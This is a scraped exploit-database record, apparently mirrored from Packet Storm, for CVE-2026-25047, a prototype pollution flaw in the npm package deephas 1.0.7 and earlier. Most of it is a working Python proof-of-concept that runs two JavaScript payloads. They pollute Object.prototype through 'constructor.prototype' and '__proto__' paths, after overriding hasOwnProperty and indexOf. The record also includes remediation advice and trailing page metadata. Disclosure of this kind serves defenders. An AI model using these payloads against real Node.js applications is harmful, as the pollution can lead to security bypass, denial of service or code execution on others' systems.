{“lastseen”:”2026-05-05T21:31:11″,”description”:”The deephas npm package suffers from a prototype pollution vulnerability in versions 1.0.7 and below due to unsafe recursive property assignment without proper hasOwnProperty checks and inadequate path sanitization…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 deephas 1.0.7 Prototype Pollution”,”source”:””,”references”:””,”id”:”PACKETSTORM:220372″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-25047″],”sourceData”:”# Exploit Title: deephas 1.0.7 – Prototype Pollution \\n # Google Dork: N\/A\\n # Date: 2026-02-01\\n # Exploit Author: Mohammed Idrees Banyamer\\n # Author Country: Jordan\\n # Instagram: @banyamer_security\\n # Vendor Homepage: https:\/\/www.npmjs.com\/package\/deephas\\n # Software Link: https:\/\/github.com\/sharpred\/deepHas\\n # Version: \\u003c= 1.0.7 (fixed in 1.0.8 and later)\\n # Tested on: Node.js 16 \/ 18 \/ 20 (Linux \/ macOS \/ Windows)\\n # CVE : CVE-2026-25047\\n # GHSA: GHSA-2733-6c58-pf27\\n # CVSS: 9.8 (Critical)\\n #\\n # Description:\\n # The ‘deephas’ npm package suffers from a prototype pollution vulnerability\\n # in versions 1.0.7 and below due to unsafe recursive property assignment\\n # without proper hasOwnProperty checks and inadequate path sanitization.\\n #\\n # An attacker who can supply arbitrary keys to deephas.set() can pollute\\n # Object.prototype \u2014 which may lead to:\\n # \u2022 Remote code execution (when polluting sensible properties like\\n # process.env, require.extensions, child_process, etc.)\\n # \u2022 Denial of Service\\n # \u2022 Security bypass (when polluting hasOwnProperty, toString, etc.)\\n # \u2022 Privilege escalation in sandboxed \/ vm2-like environments\\n #\\n # This PoC demonstrates pollution of Object.prototype via two techniques:\\n # 1. constructor.prototype path + hasOwnProperty bypass\\n # 2. __proto__ path + indexOf bypass\\n #\\n # References:\\n # \u2022 https:\/\/github.com\/sharpred\/deepHas\/security\/advisories\/GHSA-2733-6c58-pf27\\n # \u2022 https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-25047\\n #\\n # Usage:\\n # 1. npm install deephas@1.0.7\\n # 2. python3 poc-deephas-prototype-pollution.py\\n #\\n # Remediation:\\n # Upgrade to deephas \\u003e= 1.0.8\\n #\\n \\n import subprocess\\n import os\\n import textwrap\\n import sys\\n import shutil\\n \\n \\n def run_js(code: str) -\\u003e tuple[bool, str, str]:\\n \\”\\”\\”Execute JavaScript code snippet via Node.js and capture output\\”\\”\\”\\n tmp_file = \\”poc-deephas-temp.js\\”\\n \\n try:\\n with open(tmp_file, \\”w\\”, encoding=\\”utf-8\\”) as f:\\n f.write(code.strip())\\n \\n result = subprocess.run(\\n [\\”node\\”, tmp_file],\\n capture_output=True,\\n text=True,\\n timeout=10,\\n check=False\\n )\\n \\n return (\\n result.returncode == 0,\\n result.stdout.strip(),\\n result.stderr.strip()\\n )\\n \\n except FileNotFoundError:\\n return False, \\”\\”, \\”Node.js not found. Please install Node.js.\\”\\n except subprocess.TimeoutExpired:\\n return False, \\”\\”, \\”Execution timed out.\\”\\n except Exception as e:\\n return False, \\”\\”, f\\”Error: {str(e)}\\”\\n finally:\\n if os.path.exists(tmp_file):\\n try:\\n os.remove(tmp_file)\\n except:\\n pass\\n \\n \\n def show_result(name: str, success: bool, stdout: str, stderr: str):\\n print(f\\”{‘\u2500’ * 10} {name} {‘\u2500’ * 10}\\”)\\n if not success:\\n print(\\”STATUS : FAILED\\”)\\n if stderr:\\n print(\\”ERROR :\\”, stderr.splitlines()[0] if stderr.splitlines() else stderr)\\n else:\\n print(\\”(no error message captured)\\”)\\n else:\\n polluted = any(x in stdout.lower() for x in [\\”yes!!!\\”, \\”hacked\\”, \\”polluted\\”])\\n status = \\”VULNERABLE (pollution successful)\\” if polluted else \\”UNEXPECTED RESULT\\”\\n print(f\\”STATUS : {status}\\”)\\n print()\\n for line in stdout.splitlines():\\n print(f\\” {line}\\”)\\n print(\\”\u2500\\” * 70)\\n print()\\n \\n \\n def main():\\n print(\\”=\\” * 70)\\n print(\\” deephas \\u003c= 1.0.7 \u2013 Prototype Pollution PoC\\”)\\n print(\\” CVE-2026-25047 \/ GHSA-2733-6c58-pf27\\”)\\n print(\\”=\\” * 70)\\n print()\\n \\n if not shutil.which(\\”node\\”):\\n print(\\”Error: Node.js is required but not found in PATH.\\”)\\n sys.exit(1)\\n \\n print(\\”[*] Make sure you have installed the vulnerable version:\\”)\\n print(\\” npm install deephas@1.0.7\\\\n\\”)\\n \\n # \u2500\u2500 PoC 1: constructor.prototype + hasOwnProperty bypass \u2500\u2500\u2500\u2500\u2500\u2500\u2500\\n poc1 = textwrap.dedent(\\”\\”\\”\\\\\\n Object.prototype.hasOwnProperty = () =\\u003e true;\\n \\n const has = require(‘deephas’);\\n const obj = {};\\n has.set(obj, ‘constructor.prototype.poc1’, ‘yes!!!’);\\n \\n console.log(‘obj.poc1 \u2192’, obj.poc1);\\n console.log(‘{}.poc1 \u2192’, {}.poc1);\\n console.log(‘polluted global? \u2192’, {}.poc1 === ‘yes!!!’);\\n \\”\\”\\”)\\n \\n ok1, out1, err1 = run_js(poc1)\\n show_result(\\”PoC 1 \u2013 constructor.prototype pollution\\”, ok1, out1, err1)\\n \\n # \u2500\u2500 PoC 2: __proto__ + indexOf bypass \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\n poc2 = textwrap.dedent(\\”\\”\\”\\\\\\n String.prototype.indexOf = () =\\u003e -1;\\n \\n const has = require(‘deephas’);\\n const obj = {};\\n has.set(obj, ‘__proto__.poc2’, ‘HACKED’);\\n \\n console.log(‘obj.poc2 \u2192’, obj.poc2);\\n console.log(‘{}.poc2 \u2192’, {}.poc2);\\n console.log(‘polluted global? \u2192’, {}.poc2 === ‘HACKED’);\\n \\”\\”\\”)\\n \\n ok2, out2, err2 = run_js(poc2)\\n show_result(\\”PoC 2 \u2013 __proto__ + indexOf bypass\\”, ok2, out2, err2)\\n \\n print(\\” \\” * 20 + \\”SUMMARY\\”.center(30, \\”\u2500\\”))\\n print(\\”If you see ‘yes!!!’ or ‘HACKED’ printed from {}.xxx property\\”)\\n print(\\”\u2192 deephas@1.0.7 is VULNERABLE to prototype pollution.\\”)\\n print()\\n print(\\”Fix: Upgrade to deephas \\u003e= 1.0.8\\”)\\n print(\\”=\\” * 70)\\n \\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220372″,”cvss”:{“score”:9.4,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:L\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:H\/VI:H\/SI:H\/VA:H\/SA:H”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220372\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-05T21:31:11″,”description”:”The deephas npm package suffers from a prototype pollution vulnerability in versions 1.0.7 and below due to unsafe recursive property assignment without proper hasOwnProperty checks…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,131,12,13,53,7,11,5],"class_list":["post-51571","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-94","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n